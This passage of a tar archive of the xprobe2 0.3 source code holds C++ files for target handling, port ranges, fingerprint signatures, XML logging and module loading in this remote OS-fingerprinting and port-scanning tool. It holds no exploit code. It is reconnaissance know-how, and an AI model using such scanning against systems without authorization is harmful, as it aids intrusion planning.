xmh->loaded_mods_num(XPROBE_MODULE_OSTEST)) { ui->msg("[+] GENERATED FINGERPRINT IS INCOMPLETE!\n"); ui->msg("[+] Please make sure you target is not firewalled and you have specified at least one open TCP port and one closed TCP and UDP ports!\n"); } } else { xml->log(XPROBELOG_GUESS_SESS_START, "OS guess"); ui->msg("[+] Primary guess:\n"); ui->msg("[+] Host %s Running OS: %s (Guess probability: %i%%)\n", inet_ntoa(addr), oses->osid2char(os->get_top(0)), os->get_prcnt_score(os->get_top(0))); xml->log(XPROBELOG_MSG_PRIMARY, "%p%s", os->get_prcnt_score(os->get_top(0)), oses->osid2char(os->get_top(0))); ui->msg("[+] Other guesses:\n"); i = 1; while (os->get_top(i) && os->get_prcnt_score(os->get_top(i)) && i != copts->get_numofmatches()) { ui->msg("[+] Host %s Running OS: %s (Guess probability: %i%%)\n", inet_ntoa(addr), oses->osid2char(os->get_top(i)), os->get_prcnt_score(os->get_top(i))); xml->log(XPROBELOG_MSG_SECONDARY, "%p%s", os->get_prcnt_score(os->get_top(i)), oses->osid2char(os->get_top(i))); i++; } xml->log(XPROBELOG_GUESS_SESS_END, "end of guess"); } delete os; return(ret); } int Target::gather_info(void) { OS_Matrix *os = new OS_Matrix(xmh->loaded_mods_num(XPROBE_MODULE_INFOGATHER)); xml->log(XPROBELOG_INFO_SESS_START, "starting info gathering"); xmh->exec(XPROBE_MODULE_INFOGATHER, this, os); xml->log(XPROBELOG_INFO_SESS_END, "info gathering ended\n"); return OK; } void Target::set_tcp_ports(map *tp) { map ::iterator p_i; for (p_i = (*tp).begin(); p_i != (*tp).end(); p_i++) { // already inserted values should not be overwritten if (tcp_ports.find((*p_i).first) == tcp_ports.end()) tcp_ports.insert((*p_i)); } } void Target::set_udp_ports(map *up) { map ::iterator p_i; for (p_i = (*up).begin(); p_i != (*up).end(); p_i++) { // already inserted values should not be overwritten if (udp_ports.find((*p_i).first) == udp_ports.end()) udp_ports.insert((*p_i)); } } void Target::signature(string& key, string& val) { fingerprint.append_sig(key, val); } void Target::signature(const char *key, const char *val) { string keyw = key, value = val; fingerprint.append_sig(keyw, value); } string Target::signature() { int k; // dummy return fingerprint.get_sig(&k); } void Port_Range::set_range(u_short a, u_short b) { if (a >= b) { low = b; high = a; } else { low = a; high = b; } curr = 0; } int Port_Range::get_next(u_short *port) { int k, sz=size(); if (curr+low > high) return 1; else if (curr == 0) { /* first call to get_next() */ // initialize for (k=0; k < sz; k++) ports.push_back(low + k); random_shuffle(ports.begin(), ports.end()); *port = ports[curr++]; } else *port = ports[curr++]; return 0; } void Port_Range::reset() { curr = 0; } void Signature::print_sig(void) { map::iterator iter; ui->msg("%s", header.c_str()); for (iter=key_val.begin(); iter!=key_val.end(); iter++) { ui->msg("%s = %s\n", iter->first.c_str(), iter->second.c_str()); } } string Signature::get_sig(int *kcount) { string retval; map::iterator iter; *kcount=0; retval.append(header); for (iter=key_val.begin(); iter!=key_val.end(); iter++) { retval.append("\t"); retval.append(iter->first); retval.append(" = "); retval.append(iter->second); retval.append("\n"); (*kcount)++; } retval.append("}\n"); return retval; } xprobe2-0.3/src/target.h000644 001751 000000 00000011472 10271643771 015426 0ustar00mederwheel000000 000000 /* $Id: target.h,v 1.13 2005/06/23 11:53:50 mederchik Exp $ */ /* ** Copyright (C) 2001 Fyodor Yarochkin , ** Ofir Arkin ** ** This program is free software; you can redistribute it and/or modify ** it under the terms of the GNU General Public License as published by ** the Free Software Foundation; either version 2 of the License, or ** (at your option) any later version. ** ** ** This program is distributed in the hope that it will be useful, ** but WITHOUT ANY WARRANTY; without even the implied warranty of ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ** GNU General Public License for more details. ** ** You should have received a copy of the GNU General Public License ** along with this program; if not, write to the Free Software ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef TARGET_H #define TARGET_H #include "xprobe.h" using namespace std; extern int h_errno; class Target_Net { private: unsigned long addr, mask, counter; char *ascii_name; int parse_mask(char *mask); int parse_host(char *host); int resolve_host(char *host); public: int init(char *target); unsigned long getnext(void); void reset(void) { counter = addr; }; Target_Net(void); Target_Net(char *target); ~Target_Net() { free(ascii_name); }; }; #define XPROBE_TTL_TCP_SYNACK 1 #define XPROBE_TTL_TCP_RST 2 #define XPROBE_TTL_ICMP_ECHO 3 #define XPROBE_TTL_ICMP_PUNR 4 class Port_Range { private: vector ports; u_int low, high, curr; public: void set_range(u_short, u_short); int get_next(u_short *); unsigned int size() { return (high - low + 1); } void reset(); }; class Signature { private: map key_val; string header; public: Signature(void) { header="fingerprint {\n\tOS_ID =\n\t#Entry inserted to the database by:\n" "\t#Entry contributed by:\n\t#Date:\n\t#Modified:\n"; } void append_sig(string key, string val) { key_val.insert(pair(key, val)); } void print_sig(void); string get_sig(int *); void signull(void) { key_val.clear(); } }; class Target { private: struct in_addr addr; long send_delay; // delay in microsecs when sending packs map tcp_ports; map udp_ports; map protocols; vector tcp_toscan; vector udp_toscan; map ttls; int distance; /* ttl sets it */ Xprobe::Timeval rtt; /* round-trip time */ Signature fingerprint; bool showroute, gen_sig; //void add_p(map &, int, char); void add_p(map *, int, char); //int find_stat_p(map &, char); int find_stat_p(map *, char); public: Target(void) { addr.s_addr = INADDR_NONE; gen_sig = showroute = false; send_delay = distance = 0; rtt = 0.0; } Target(struct in_addr a) { set_addr(a); gen_sig = showroute = false; send_delay = distance = 0; rtt = 0.0; } Target(unsigned long int a) { addr.s_addr = a; gen_sig = showroute = false; send_delay = distance = 0; rtt = 0.0; } void set_addr(struct in_addr a) { memcpy((void *)&addr, (void *)&a, sizeof(struct in_addr)); } struct in_addr get_addr(void) { return addr; } /* protocol, port, status */ void add_port(int , int , char ); /* protocol, status */ void add_protocol(int , char ); int get_port(int, int); struct in_addr get_interface_addr(void); char *get_interface(void); /* Scan_Engine interface */ int check_alive(void); int os_probe(void); void set_distance(int d) { distance = d; } int get_distance(void) { return distance; } void set_rtt(Xprobe::Timeval& t) { rtt = t; } Xprobe::Timeval& get_rtt(void) { return rtt; } void set_ttl(int, int); int get_ttl(int); void set_delay(long k) { send_delay = k; } long get_delay(void) { return send_delay; } bool show_route(void) { return showroute; } void show_route(bool sr) { showroute = sr; } void set_tcp_ports (map *tp); void set_udp_ports (map *up); void set_tcp_toscan(vector *tr) { tcp_toscan = *tr; } void set_udp_toscan(vector *ur) { udp_toscan = *ur; } vector *get_tcp_toscan() { return &tcp_toscan; } vector *get_udp_toscan() { return &udp_toscan; } int gather_info(void); void generate_sig(bool val) { gen_sig = val; } bool generate_sig(void) { return gen_sig; } string signature(void); void signature(string& key, string& val); void signature(const char *, const char *); void signull(void) { fingerprint.signull(); } bool port_is_open(int proto, int port); }; #endif /* TARGET_H */ xprobe2-0.3/src/targets_list.cc000755 001751 000000 00000003143 10271643771 017001 0ustar00mederwheel000000 000000 /* $Id: targets_list.cc,v 1.2 2003/04/22 20:00:02 fygrave Exp $ */ /* ** Copyright (C) 2001 Fyodor Yarochkin , ** Ofir Arkin ** ** This program is free software; you can redistribute it and/or modify ** it under the terms of the GNU General Public License as published by ** the Free Software Foundation; either version 2 of the License, or ** (at your option) any later version. ** ** ** This program is distributed in the hope that it will be useful, ** but WITHOUT ANY WARRANTY; without even the implied warranty of ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ** GNU General Public License for more details. ** ** You should have received a copy of the GNU General Public License ** along with this program; if not, write to the Free Software ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include "xprobe.h" #include "targets_list.h" #include "interface.h" extern Interface *ui; int Targets_List::init(char *target_ascii) { ui->msg("[+] Target is %s\n", target_ascii); if (target_net.init(target_ascii) == FAIL) return FAIL; return OK; } void Targets_List::reset(void) { target_net.reset(); } Target *Targets_List::getnext() { unsigned long na = getnext_ip(); if (na == 0xffffffff || na == 0) return NULL; Target *tg = new Target(na); targets.insert(pair (target_counter++, tg)); return tg; } unsigned long Targets_List::getnext_ip(void) { return target_net.getnext(); } Targets_List::Targets_List(void) { target_counter = 0; } xprobe2-0.3/src/targets_list.h000755 001751 000000 00000002651 10271643771 016646 0ustar00mederwheel000000 000000 /* $Id: targets_list.h,v 1.3 2003/04/22 20:00:02 fygrave Exp $ */ /* ** Copyright (C) 2001 Fyodor Yarochkin , ** Ofir Arkin ** ** This program is free software; you can redistribute it and/or modify ** it under the terms of the GNU General Public License as published by ** the Free Software Foundation; either version 2 of the License, or ** (at your option) any later version. ** ** ** This program is distributed in the hope that it will be useful, ** but WITHOUT ANY WARRANTY; without even the implied warranty of ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ** GNU General Public License for more details. ** ** You should have received a copy of the GNU General Public License ** along with this program; if not, write to the Free Software ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef TARGETS_LIST_H #define TARGETS_LIST_H #include "xprobe.h" #include "target.h" #include using namespace std; class Targets_List { private: map targets; map::iterator targets_iterator; Target_Net target_net; int target_counter; public: int init(char *target_ascii); void reset(void); Target *getnext(void); unsigned long getnext_ip(void); Targets_List(void); }; #endif /* TARGETS_LIST_H */ xprobe2-0.3/src/xprobe.cc000644 001751 000000 00000005707 10271643771 015601 0ustar00mederwheel000000 000000 /* $Id: xprobe.cc,v 1.7 2004/09/05 07:18:00 mederchik Exp $ */ /* ** Copyright (C) 2001 Fyodor Yarochkin , ** Ofir Arkin ** ** This program is free software; you can redistribute it and/or modify ** it under the terms of the GNU General Public License as published by ** the Free Software Foundation; either version 2 of the License, or ** (at your option) any later version. ** ** ** This program is distributed in the hope that it will be useful, ** but WITHOUT ANY WARRANTY; without even the implied warranty of ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ** GNU General Public License for more details. ** ** You should have received a copy of the GNU General Public License ** along with this program; if not, write to the Free Software ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include "xprobe.h" #include "cmd_opts.h" #include "targets_list.h" #include "config_set.h" #include "xprobe_module.h" #include "xprobe_module_hdlr.h" #include "scan_engine.h" #include "interface_con.h" #include "os_matrix.h" #include "log.h" /* globals */ Cmd_Opts *copts; Targets_List *targets; Config_Set *cfg; Xprobe_Module_Hdlr *xmh; Interface *ui; Scan_Engine *se; OS_Name *oses; XML_Log *xml; int main(int argc, char *argv[]) { ui = new Interface_Con; // we have only console for now copts = new Cmd_Opts; targets = new Targets_List; xmh = new Xprobe_Module_Hdlr; se = new Scan_Engine; cfg = new Config_Set; oses = new OS_Name; xml = new XML_Log; time_t start = time(NULL); ui->msg("%s\n",BANNER); copts->parse(argc, argv); /* should we show the route to target */ cfg->show_route(copts->show_route()); cfg->set_udp_ports(copts->get_udp_ports()); cfg->set_tcp_ports(copts->get_tcp_ports()); if (copts->do_xml()) if (xml->set_logfile(copts->get_logfile())) exit(1); /* targets list */ if (targets->init(copts->get_target()) == FAIL) { exit(1); } xml->log(XPROBELOG_XP_SESS_START, "%v%b", VERSION, BANNER); xml->log(XPROBELOG_MSG_RUN, "%c%a%d", argc, argv, start); /* config file */ xprobe_debug(XPROBE_DEBUG_INIT, "[+] config file is: %s\n", copts->get_configfile()); /* load modules first. register the keywords */ xmh->load(); /* parse config file */ if (cfg->read_config(copts->get_configfile()) == FAIL) { exit(1); } /* debugging only! */ oses->list_oses(); /* initialize loaded tests */ xmh->init(); /* for debugging */ xmh->print(); /* scan stuff */ se->init(); se->run(); se->fini(); /* finite la comedia' */ xmh->fini(); ui->msg("[+] Execution completed.\n"); xml->log(XPROBELOG_XP_SESS_END, "FIN"); delete oses; delete copts; delete targets; delete cfg; delete xmh; delete se; delete ui; delete xml; } xprobe2-0.3/src/log.cc000755 001751 000000 00000022641 10271643771 015062 0ustar00mederwheel000000 000000 #include "xprobe.h" #include #include "interface.h" #include "cmd_opts.h" #include "xprobe_module.h" #include "log.h" int Log::write(const char *fmt, ...) { va_list va; va_start(va, fmt); if (logopened) return vfprintf(ofile, fmt, va); else return 0; } int Log::open() { if ((ofile = fopen(logfile.c_str(), "w")) == NULL) { ui->msg("fopen(): %s\n", strerror(errno)); return 1; } logopened = true; return 0; } int XML_Log::log(unsigned int type, const char *fmt, ...) { va_list varg; va_start(varg, fmt); if (!is_opened()) return 0; switch(type) { case XPROBELOG_XP_SESS_START: write_tabs(); tags_opened++; log_start(fmt, varg); break; case XPROBELOG_MSG_RUN: write_tabs(); log_run(fmt, varg); break; case XPROBELOG_MOD_SESS_START: write_tabs(); tags_opened++; if (fmt) write("\n", fmt); break; case XPROBELOG_MSG_MODULE: write_tabs(); log_module(fmt, varg); break; case XPROBELOG_MOD_SESS_END: tags_opened--; write_tabs(); write("\n"); break; case XPROBELOG_TG_SESS_START: write_tabs(); tags_opened++; log_target(fmt, varg); break; case XPROBELOG_REACH_SESS_START: write_tabs(); tags_opened++; write("\n"); break; case XPROBELOG_MSG_STATE: write_tabs(); log_state(fmt, varg); break; case XPROBELOG_MSG_RTT: write_tabs(); log_rtt(fmt, varg); break; case XPROBELOG_REACH_SESS_END: tags_opened--; write_tabs(); write("\n"); break; case XPROBELOG_INFO_SESS_START: write_tabs(); tags_opened++; write("\n"); break; case XPROBELOG_PS_SESS_START: write_tabs(); tags_opened++; log_pscan(fmt, varg); break; case XPROBELOG_STATS_SESS_START: write_tabs(); tags_opened++; write("\n"); break; case XPROBELOG_MSG_PS_TCPST: write_tabs(); log_port_stats(6, fmt, varg); break; case XPROBELOG_MSG_PS_UDPST: write_tabs(); log_port_stats(17, fmt, varg); break; case XPROBELOG_STATS_SESS_END: tags_opened--; write_tabs(); write("\n"); break; case XPROBELOG_PSDET_SESS_START: write_tabs(); tags_opened++; write("

\n"); break; case XPROBELOG_MSG_PORT: write_tabs(); log_port(fmt, varg); break; case XPROBELOG_PSDET_SESS_END: tags_opened--; write_tabs(); write("
\n"); break; case XPROBELOG_PS_SESS_END: tags_opened--; write_tabs(); write("\n"); break; case XPROBELOG_INFO_SESS_END: tags_opened--; write_tabs(); write("\n"); break; case XPROBELOG_GUESS_SESS_START: write_tabs(); tags_opened++; write("\n"); break; case XPROBELOG_MSG_PRIMARY: case XPROBELOG_MSG_SECONDARY: write_tabs(); log_guess(type, fmt, varg); break; case XPROBELOG_GUESS_SESS_END: tags_opened--; write_tabs(); write("\n"); break; case XPROBELOG_TG_SESS_END: tags_opened--; write_tabs(); write("
\n"); break; case XPROBELOG_XP_SESS_END: tags_opened--; write_tabs(); write(""); break; case XPROBELOG_OTHER_TCPP: case XPROBELOG_OTHER_UDPP: write_tabs(); log_other_ports(type, fmt, varg); break; default: ui->error("Unknown XML message type %d\n", type); return FAIL; } return OK; } /* s-state */ int XML_Log::log_other_ports(char type, const char *fmt, va_list varg) { int st=-1; const char *state=NULL; while(*fmt) switch (*fmt++) { case 's': st = va_arg(varg, int); break; } if (st > -1) { switch(st) { case XPROBE_TARGETP_CLOSED: state="closed"; break; case XPROBE_TARGETP_OPEN: state="open"; break; case XPROBE_TARGETP_FILTERED: state="filtered"; break; default: state = "unknown"; } write("\n", type == XPROBELOG_OTHER_TCPP ? "tcp" : "udp", state); return OK; } else return FAIL; } /* p-probability, s-caption */ int XML_Log::log_guess(int type, const char *fmt, va_list varg) { int prob=-1; char *os=NULL; const char *tp = type == XPROBELOG_MSG_PRIMARY ? "primary" : "secondary"; while(*fmt) switch(*fmt++) { case 'p': prob = va_arg(varg, int); break; case 's': os = va_arg(varg, char *); break; } if (os && prob > -1) { write("<%s probability=\"%d\" unit=\"percent\"> %s \n", tp, prob, os, tp); return OK; } else return FAIL; } /* n-number, p-proto, t-state, s-service */ int XML_Log::log_port(const char *fmt, va_list varg) { int portnum=-1, proto=-1, st=-1; char *state=NULL, *service=NULL; while (*fmt) switch(*fmt++) { case 'n': portnum = va_arg(varg, int); break; case 'p': proto = va_arg(varg, int); break; case 't': st= va_arg(varg, int); break; case 's': service = va_arg(varg, char *); break; } if (service && portnum > -1 && proto > -1 && st > -1) { switch(st) { case XPROBE_TARGETP_CLOSED: state="closed"; break; case XPROBE_TARGETP_OPEN: state="open"; break; case XPROBE_TARGETP_FILTERED: state="filtered"; break; default: state="unknown"; } write("\n", portnum, proto==IPPROTO_TCP ? "tcp" : "udp", state, service); return OK; } else return FAIL; } /* o-open, c-closed, f-filtered */ int XML_Log::log_port_stats(char proto, const char *fmt, va_list varg) { int opn=-1, closed=-1, filtered=-1; while(*fmt) switch(*fmt++) { case 'o': opn = va_arg(varg, int); break; case 'c': closed = va_arg(varg, int); break; case 'f': filtered = va_arg(varg, int); break; } if (opn > -1 && closed > -1 && filtered > -1) { write("<%s open=\"%d\" closed=\"%d\" filtered=\"%d\"/>\n", proto == 6 ? "tcp" : "udp", opn, closed, filtered); return OK; } else return FAIL; } int XML_Log::log_pscan(const char *fmt, va_list varg) { double duration=-1; while(*fmt) switch(*fmt++) { case 'd': duration = va_arg(varg, double); break; } if (duration > -1) { write("\n", duration); return OK; } else return FAIL; } /* r-real, s-selected */ int XML_Log::log_rtt(const char *fmt, va_list varg) { double real=-1, selected=-1; while (*fmt) switch(*fmt++) { case 'r': real = va_arg(varg, double); break; case 's': selected = va_arg(varg, double); break; } if (real > -1 && selected > -1) { write("\n", real, selected); return OK; } else return FAIL; } /* s-state,p-probability */ int XML_Log::log_state(const char *fmt, va_list varg) { char *state=NULL; int prob=-1; while(*fmt) switch(*fmt++) { case 's': state = va_arg(varg, char *); break; case 'p': prob = va_arg(varg, int); break; } if (state && prob> -1) { write("\n", state, prob); return OK; } else return FAIL; } /* a-address */ int XML_Log::log_target(const char *fmt, va_list varg) { char *addr=NULL; while (*fmt) switch(*fmt++) { case 'a': addr = va_arg(varg, char *); break; } if (addr) { write("\n", addr); return OK; } else return FAIL; } /* t-type, n-name, d-modnumber, s-caption */ int XML_Log::log_module(const char *fmt, va_list varg) { char *name=NULL, *caption=NULL; int modnum=-1, type=-1; const char *tp=NULL; while (*fmt) switch(*fmt++) { case 't': type = va_arg(varg, int); break; case 'n': name = va_arg(varg, char *); break; case 'd': modnum = va_arg(varg, int); break; case 's': caption = va_arg(varg, char *); break; } if (type > -1 && name && caption && modnum > -1) { switch(type) { case XPROBE_MODULE_ALIVETEST: tp="reachability"; break; case XPROBE_MODULE_OSTEST: tp ="fingerprinting"; break; case XPROBE_MODULE_INFOGATHER: tp ="information gathering"; break; default: tp="unknown"; } write(" %s \n", tp, name, modnum, caption); return OK; } else return FAIL; } /* c-count(argc), a-arguments(argv), d-datetime */ int XML_Log::log_run(const char *fmt, va_list varg) { char **argv=NULL; time_t date=0; int argc=-1, k, hr, min; struct tm *tms=NULL; while(*fmt) switch(*fmt++) { case 'c': argc = va_arg(varg, int); break; case 'a': argv = va_arg(varg, char **); break; case 'd': date = va_arg(varg, time_t); } if (argv && date && argc > -1) { write("tm_gmtoff / 60) / 60; min = (tms->tm_gmtoff / 60) % 60; write("\" date=\"%d-%.2d-%.2dT%.2d:%.2d:%.2d%s%.2d:%.2d\"/>\n", tms->tm_year+1900, tms->tm_mon+1, tms->tm_mday, tms->tm_hour, tms->tm_min, tms->tm_sec, tms->tm_gmtoff < 0 ? "-" : "+", hr, min); } return OK; } else return FAIL; } /* v-version; b-banner */ int XML_Log::log_start(const char *fmt, va_list varg) { char *ver=NULL, *banner=NULL; while (*fmt) switch(*fmt++) { case 'v': // version ver = va_arg(varg, char *); break; case 'b': // banner banner = va_arg(varg, char *); break; } if (ver && banner) { write("\n\n\n", ver, banner); return OK; } else return FAIL; } xprobe2-0.3/src/xprobe.h000644 001751 000000 00000006471 10271643771 015442 0ustar00mederwheel000000 000000 /* $Id: xprobe.h,v 1.7 2005/02/13 18:41:31 mederchik Exp $ */ /* ** Copyright (C) 2001 Fyodor Yarochkin , ** Ofir Arkin ** ** This program is free software; you can redistribute it and/or modify ** it under the terms of the GNU General Public License as published by ** the Free Software Foundation; either version 2 of the License, or ** (at your option) any later version. ** ** ** This program is distributed in the hope that it will be useful, ** but WITHOUT ANY WARRANTY; without even the implied warranty of ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ** GNU General Public License for more details. ** ** You should have received a copy of the GNU General Public License ** along with this program; if not, write to the Free Software ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef XPROBE_H #define XPROBE_H #include "config.h" #include #include #include #include #define IP_VERSION 4 #ifdef HAVE_STRING_H #include #endif #ifdef HAVE_STRINGS_H #include #endif #include #ifndef bzero #ifdef NOBZERO #define bzero(x,y) memset((void *)x,(int)0,(size_t) y) #define bcopy(x,y,z) memcpy((void *)y, (const void *)x, (size_t) z) #endif /* NOBZERO */ #endif /* bzero*/ #include #include #ifdef __linux__ #ifdef HAVE_GLIB_H #include #endif #endif #include #include #include #include #include #include #include #ifdef __linux__ #define __FAVOR_BSD #endif /* fix the OsX bug */ #ifndef _BSD_SOCKLEN_T_ #define _BSD_SOCKLEN_T_ unsigned int #endif #include #include #include #include #include #include #include #ifndef __linux__ //#include #else /* __linux__ */ #include #endif /* __linux__ */ #include // #include #ifndef IFNAMSIZ #include #endif #if !defined(__OpenBSD__) && !defined(__NetBSD__) && !defined(SOLARIS) && !defined(__sgi) #include #endif #ifdef SOLARIS #include #ifndef INADDR_NONE #define INADDR_NONE -1 #endif #endif #include #include #include #include // #include /* conflicts with #include #ifdef HAVE_DLFCN_H #include #endif #ifdef __cplusplus extern "C" { #include } #else #include #endif /* some types correction */ #if defined(__FreeBSD__) || defined(__linux__) #define TIMEZONE_T struct timezone #else #define TIMEZONE_T unsigned long #endif #ifndef IF_NAMESIZE #define IF_NAMESIZE 16 #endif /* macroses */ /* linux and OpenBSD want ip offset in network order, others: in host * order */ #if defined(__linux__) || defined(__OpenBSD__) #define IPOFF_FIX(off) htons((unsigned short)(off)) #else #define IPOFF_FIX(off) (off) #endif #define IFRLEN(ifrptr) (ifrptr->ifr_addr.sa_len + sizeof(ifrptr->ifr_name)) #include "defines.h" #include "xprobe_timeval.h" // STL includes #include #include #include #include #endif /* XPROBE_H */ xprobe2-0.3/src/xprobe_module.h000644 001751 000000 00000005027 10271643771 017003 0ustar00mederwheel000000 000000 /* $Id: xprobe_module.h,v 1.6 2005/02/08 20:00:35 mederchik Exp $ */ /* ** Copyright (C) 2001 Fyodor Yarochkin , ** Ofir Arkin ** ** This program is free software; you can redistribute it and/or modify ** it under the terms of the GNU General Public License as published by ** the Free Software Foundation; either version 2 of the License, or ** (at your option) any later version. ** ** ** This program is distributed in the hope that it will be useful, ** but WITHOUT ANY WARRANTY; without even the implied warranty of ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ** GNU General Public License for more details. ** ** You should have received a copy of the GNU General Public License ** along with this program; if not, write to the Free Software ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef XPROBE_MODULE_H #define XPROBE_MODULE_H #include "xprobe.h" #include "target.h" #include "os_matrix.h" #include "usi++/usi++.h" //#include using namespace std; #define XPROBE_MODULE_ALIVETEST 1 #define XPROBE_MODULE_OSTEST 2 #define XPROBE_MODULE_INFOGATHER 3 class Xprobe_Module { private: string name; string description; int mod_id; int mod_type; bool enabled; virtual void generate_signature(Target *, ICMP *, ICMP *) { return; } virtual void generate_signature(Target *, TCP *, TCP *) { return; } public: void set_desc(const char *nm) { description = nm; } const char *get_desc(void) { return description.c_str(); } void set_name(const char *nm) { name = nm; } const char* get_name(void) { return name.c_str(); } string& get_sname(void) { return name; } void set_id(int id) { mod_id = id; } int get_id(void) { return mod_id; } void set_type(int type) { mod_type = type; } int get_type(void) { return mod_type; } Xprobe_Module(void) { set_name((const char *)"noname"); set_desc("No description is given");} Xprobe_Module(int type, const char *nm, const char *desc) { set_type(type); set_name(nm); set_desc(desc); } void enable(void) { enabled = true; } void disable(void) { enabled = false; } bool is_disabled(void) { return (enabled == false);}; virtual ~Xprobe_Module(void) { return; } /* these to be overriden */ virtual int init(void) =0; virtual int parse_keyword(int, const char *, const char *) =0; virtual int exec(Target *, OS_Matrix *) =0; virtual int fini(void) =0; }; #endif /* XPROBE_MODULE */ xprobe2-0.3/src/xprobe_module_hdlr.cc000644 001751 000000 00000013653 10271643771 020156 0ustar00mederwheel000000 000000 /* $Id: xprobe_module_hdlr.cc,v 1.7 2005/02/09 18:36:45 mederchik Exp $ */ /* ** Copyright (C) 2001 Fyodor Yarochkin , ** Ofir Arkin ** ** This program is free software; you can redistribute it and/or modify ** it under the terms of the GNU General Public License as published by ** the Free Software Foundation; either version 2 of the License, or ** (at your option) any later version. ** ** ** This program is distributed in the hope that it will be useful, ** but WITHOUT ANY WARRANTY; without even the implied warranty of ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ** GNU General Public License for more details. ** ** You should have received a copy of the GNU General Public License ** along with this program; if not, write to the Free Software ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include "xprobe.h" #include "xprobe_module_hdlr.h" #include "interface.h" #include "cmd_opts.h" #include "xpmodules/static_modules.h" #include "log.h" extern Interface *ui; extern Cmd_Opts *copts; extern XML_Log *xml; int Xprobe_Module_Hdlr::load(void) { int cnt=1; xprobe_module_func_t *ptr; ui->msg("[+] Loading modules.\n"); ptr = mod_init_funcs; while (ptr !=NULL && ptr->name !=NULL && ptr->func !=NULL) { if (!copts->mod_is_disabled(cnt++)) add(ptr->func, ptr->name); ptr++; } return 1; } int Xprobe_Module_Hdlr::init(void) { map::iterator m_i; for (m_i = modlist.begin(); m_i != modlist.end(); m_i++) (*m_i).second->init(); return 1; } int Xprobe_Module_Hdlr::print(void) { map::iterator m_i; ui->msg("[+] Following modules are loaded:\n"); xml->log(XPROBELOG_MOD_SESS_START, "Loaded modules"); for (m_i = modlist.begin(); m_i != modlist.end(); m_i++) { ui->msg("[x] [%d] %s - %s\n", (*m_i).first, (*m_i).second->get_name(), (*m_i).second->get_desc()); xml->log(XPROBELOG_MSG_MODULE, "%t%n%d%s", m_i->second->get_type(), m_i->second->get_name(), m_i->first, m_i->second->get_desc()); } ui->msg("[+] %i modules registered\n", mod_counter); xml->log(XPROBELOG_MOD_SESS_END, "End modules"); return 1; } int Xprobe_Module_Hdlr::exec(int mod_type, Target *tg, OS_Matrix *os) { map::iterator m_i; for (m_i = modlist.begin(); m_i != modlist.end(); m_i++) { if ((*m_i).second->get_type() == mod_type) { xprobe_debug(XPROBE_DEBUG_MODULES, "[+] Executing module: %s\n", (*m_i).second->get_name()); (*m_i).second->exec(tg, os); } } return 1; } int Xprobe_Module_Hdlr::fini(void) { map::iterator m_i; //xprobe_debug(XPROBE_DEBUG_MODULES, "[+] Deinitializing modules\n"); for (m_i = modlist.begin(); m_i != modlist.end(); m_i++) { xprobe_debug(XPROBE_DEBUG_MODULES, "[+] Deinitializing module: [%i] %s\n", (*m_i).first, (*m_i).second->get_name()); (*m_i).second->fini(); } for (m_i = modlist.begin(); m_i != modlist.end(); m_i++) delete (*m_i).second; ui->msg("[+] Modules deinitialized\n"); return 1; } int Xprobe_Module_Hdlr::add(int (*init_func)(Xprobe_Module_Hdlr *, char *), char *nm) { xprobe_debug(XPROBE_DEBUG_MODULES, "[+] adding %s via function: %p\n", nm, init_func); return(init_func(this, nm)); } int Xprobe_Module_Hdlr::register_module(Xprobe_Module *mod) { mod_counter++; mod->set_id(mod_counter); modlist.insert(pair(mod_counter, mod)); return 1; } void Xprobe_Module_Hdlr::add_keyword(int id, char *str) { string kwd(str); kwdlist.insert(pair(kwd, id)); keywords++; } /* XXX: temp plug. Supposed to return module ptr which is registered for * keyword kwd */ Xprobe_Module *Xprobe_Module_Hdlr::find_mod(string &kwd) { map ::iterator kw_i; map::iterator mod_i; kw_i = kwdlist.find(kwd); if (kw_i == kwdlist.end()) { xprobe_debug(XPROBE_DEBUG_CONFIG, "[x] failed to lookup module on %s keyword\n", kwd.c_str()); return NULL; } mod_i = modlist.find((* kw_i).second); if (mod_i == modlist.end()) { ui->error("[x] failed to associate moule id!\n"); return NULL; } xprobe_debug(XPROBE_DEBUG_CONFIG,"[x] keyword: %s handled by module: %s\n", kwd.c_str(), (*mod_i).second->get_name()); return (*mod_i).second; } int Xprobe_Module_Hdlr::loaded_mods_num(int mod_type) { map::iterator m_i; int num = 0; for (m_i = modlist.begin(); m_i != modlist.end(); m_i++) if ((*m_i).second->get_type() == mod_type) num++; /* sometimes os_test module handles multiple keywords */ if (mod_type == XPROBE_MODULE_OSTEST && num < keywords) return keywords; return num; } int Xprobe_Module_Hdlr::modbyname(char *nm) { xprobe_module_func_t *ptr; int cnt = 0; ptr = mod_init_funcs; while (ptr !=NULL && ptr->name !=NULL && ptr->func != NULL) { cnt++; if (!strcasecmp(ptr->name, nm)) return cnt; ptr++; } return -1; } void Xprobe_Module_Hdlr::display_mod_names(void) { xprobe_module_func_t *ptr; int cnt = 1; ptr = mod_init_funcs; while (ptr !=NULL && ptr->name !=NULL && ptr->func != NULL) { /* ui->msg("%s%c", ptr->name, cnt%4?'\t':'\n'); ptr++; cnt++; */ ui->msg("[%d] %s\n", cnt++, ptr->name); ptr++; } } Xprobe_Module_Hdlr::Xprobe_Module_Hdlr(void) { mod_counter = 0; keywords = 0; } Xprobe_Module_Hdlr::~Xprobe_Module_Hdlr(void) { /* do nothing now */ } int Xprobe_Module_Hdlr::get_module_count() { int modcount=0; xprobe_module_func_t *ptr; ptr = mod_init_funcs; while (ptr !=NULL && ptr->name !=NULL && ptr->func != NULL) { modcount++; ptr++; } return modcount; } xprobe2-0.3/src/xprobe_module_hdlr.h000644 001751 000000 00000004100 10271643771 020003 0ustar00mederwheel000000 000000 /* $Id: 